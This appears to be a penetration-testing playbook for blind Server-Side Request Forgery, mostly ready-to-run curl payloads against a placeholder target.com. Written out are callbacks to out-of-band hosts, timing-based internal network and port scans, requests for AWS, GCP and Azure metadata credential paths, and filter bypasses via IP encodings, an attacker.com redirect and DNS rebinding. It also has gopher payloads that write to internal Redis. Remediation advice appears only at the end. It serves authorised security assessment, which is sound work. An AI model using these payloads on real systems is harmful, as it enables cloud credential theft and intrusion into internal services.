| name | performing-blind-ssrf-exploitation |
| description | Detect and exploit blind Server-Side Request Forgery vulnerabilities using out-of-band techniques, DNS interactions, and timing analysis to access internal services and cloud metadata endpoints. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - blind-ssrf - ssrf - out-of-band - burp-collaborator - cloud-metadata - internal-network - oob-detection |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Performing Blind SSRF Exploitation
When to Use
- When testing URL/webhook input parameters where server-side responses are not reflected
- During assessment of applications that fetch external resources (avatars, previews, imports)
- When testing PDF generators, image processors, or document converters for SSRF
- During cloud security assessments to detect metadata endpoint access
- When evaluating webhook functionality and URL validation implementations
Prerequisites
- Burp Suite Professional with Burp Collaborator for OOB detection
- interact.sh or webhook.site for external callback monitoring
- Understanding of SSRF attack vectors and internal network enumeration
- Knowledge of cloud metadata endpoints (AWS, GCP, Azure)
- VPS or controlled server for advanced exploitation callback handling
- Python with requests library for automation scripts
Workflow
Step 1 — Identify Blind SSRF Input Points
curl -X POST http://target.com/api/fetch-url \
-H "Content-Type: application/json" \
-d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'
curl -X POST http://target.com/api/webhooks \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'
curl -X POST http://target.com/api/profile/avatar \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'
curl -X POST http://target.com/api/import \
-H "Content-Type: application/json" \
-d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'
Step 2 — Confirm Blind SSRF with Out-of-Band Detection
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://RANDOM.interact.sh"}'
Step 3 — Enumerate Internal Network
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
start=$(date +%s%N)
curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
end=$(date +%s%N)
elapsed=$(( (end - start) / 1000000 ))
echo "$ip: ${elapsed}ms"
done
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
curl -X POST http://target.com/api/fetch \
-d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
echo "Port $port tested"
done
curl -X POST http://target.com/api/fetch \
-d '{"url": "gopher://127.0.0.1:6379/_INFO"}'
Step 4 — Access Cloud Metadata Endpoints
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'
Step 5 — Bypass SSRF Filters
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://[email protected]/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'
Step 6 — Escalate Blind SSRF to Data Exfiltration
curl -X POST http://target.com/api/fetch \
-d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
Key Concepts
| Concept | Description |
|---|
| Blind SSRF | Server makes request but response is not visible to attacker |
| Out-of-Band Detection | Using external callbacks (DNS, HTTP) to confirm SSRF execution |
| DNS Rebinding | Technique to bypass IP-based SSRF filters by changing DNS resolution |
| Cloud Metadata | Instance metadata endpoints accessible via SSRF for credential theft |
| Gopher Protocol | Protocol allowing crafted payloads to interact with internal TCP services |
| Time-Based Detection | Detecting SSRF success by measuring response time differences |
| SSRF Chain | Combining SSRF with other vulnerabilities for greater impact |
Tools & Systems
| Tool | Purpose |
|---|
| Burp Collaborator | Out-of-band interaction server for DNS and HTTP callback detection |
| interact.sh | Open-source OOB interaction tool by ProjectDiscovery |
| SSRFmap | Automated SSRF detection and exploitation framework |
| Gopherus | Generate gopher payloads for exploiting internal services via SSRF |
| webhook.site | Free webhook receiver for testing SSRF callbacks |
| rebinder.net | DNS rebinding service for bypassing SSRF IP filters |
Common Scenarios
- Cloud Credential Theft — Exploit blind SSRF to access AWS/GCP/Azure metadata endpoints and steal IAM credentials for cloud account compromise
- Internal Service Discovery — Use timing-based blind SSRF to enumerate internal network hosts and open ports
- Redis Exploitation — Chain blind SSRF with gopher:// protocol to execute commands on internal Redis instances
- Webhook Abuse — Exploit webhook URL fields to scan internal networks and exfiltrate data through OOB channels
- PDF Generator SSRF — Inject internal URLs into PDF generation features to exfiltrate internal content in rendered documents
Output Format
## Blind SSRF Assessment Report
- **Target**: http://target.com/api/fetch-url
- **Detection Method**: Burp Collaborator DNS + HTTP callback
- **Internal Access Confirmed**: Yes
### Findings
| # | Input Point | Payload | Detection | Impact |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url parameter | http://collaborator | HTTP callback | Confirmed SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | Timing (2.3s vs 0.1s) | Cloud metadata |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis write confirmed | RCE potential |
### Internal Network Map
| Host | Port | Service | Accessible |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | Yes |
| 10.0.0.10 | 9200 | Elasticsearch | Yes |
| 169.254.169.254 | 80 | AWS Metadata | Yes |
### Remediation
- Implement allowlist of permitted external domains for URL fetching
- Block requests to private IP ranges and cloud metadata endpoints
- Use IMDSv2 (token-required) for AWS instance metadata
- Disable unused URL schemes (gopher, file, dict)
- Implement network-level segmentation for application servers
